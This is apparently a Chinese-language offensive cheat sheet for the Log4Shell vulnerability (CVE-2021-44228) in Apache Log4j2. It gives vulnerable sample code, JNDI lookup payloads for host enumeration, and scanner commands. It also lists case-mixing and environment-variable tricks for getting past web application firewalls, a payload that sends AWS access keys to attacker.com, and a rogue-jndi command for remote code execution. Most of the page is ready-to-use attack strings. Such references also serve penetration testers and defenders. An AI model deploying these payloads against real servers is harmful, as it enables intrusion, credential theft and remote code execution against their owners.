跳转至

CVE-2021-44228 Log4Shell

配置、日志消息和参数中使用的 Apache Log4j2 (<=2.14.1) JNDI 功能无法防止攻击者控制的 LDAP 和其他 JNDI 相关端点。当启用消息查找替换 (message lookup substitution) 时,可以控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码。

摘要 (Summary)

漏洞代码 (Vulnerable code)

您可以使用以下命令在本地复现:docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app,使用了 christophetd/log4shell-vulnerable-appleonjza/log4jpwn

public String index(@RequestHeader("X-Api-Version") String apiVersion) {
    logger.info("Received a request for API version " + apiVersion);
    return "Hello, world!";
}

Payloads

# 识别 Java 版本和主机名
${jndi:ldap://${java:version}.domain/a}
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
${jndi:ldap://${sys:java.version}.domain/a}
${jndi:ldap://${sys:java.vendor}.domain/a}
${jndi:ldap://${hostName}.domain/a}
${jndi:dns://${hostName}.domain}

# 更多的枚举关键字和变量
java:os
docker:containerId
web:rootDir
bundle:config:db.password

扫描 (Scanning)

  • log4j-scan

    用法: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
                        [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
    python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
    python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
    
  • Nuclei 模板

WAF 绕过 (WAF Bypass)

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}

# 使用小写和大写混合
${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}

# 使用环境变量构造字母
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}

攻击利用 (Exploitation)

环境变量外带 (Environment variables exfiltration)

${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/

# AWS 访问密钥
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}

远程命令执行 (Remote Command Execution)

  • rogue-jndi - @artsploit

    java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
    映射 ldap://192.168.1.10:1389/  artsploit.controllers.RemoteReference
    映射 ldap://192.168.1.10:1389/o=reference  artsploit.controllers.RemoteReference
    映射 ldap://192.168.1.10:1389/o=tomcat  artsploit.controllers.Tomcat
    映射 ldap://192.168.1.10:1389/o=groovy  artsploit.controllers.Groovy
    映射 ldap://192.168.1.10:1389/o=websphere1  artsploit.controllers.WebSphere1
    映射 ldap://192.168.1.10:1389/o=websphere1,wsdl=*  artsploit.controllers.WebSphere1
    映射 ldap://192.168.1.10:1389/o=websphere2  artsploit.controllers.WebSphere2
    映射 ldap://192.168.1.10:1389/o=websphere2,jar=*  artsploit.controllers.WebSphere2
    
  • JNDI-Exploit-Kit - @pimps

参考资料 (References)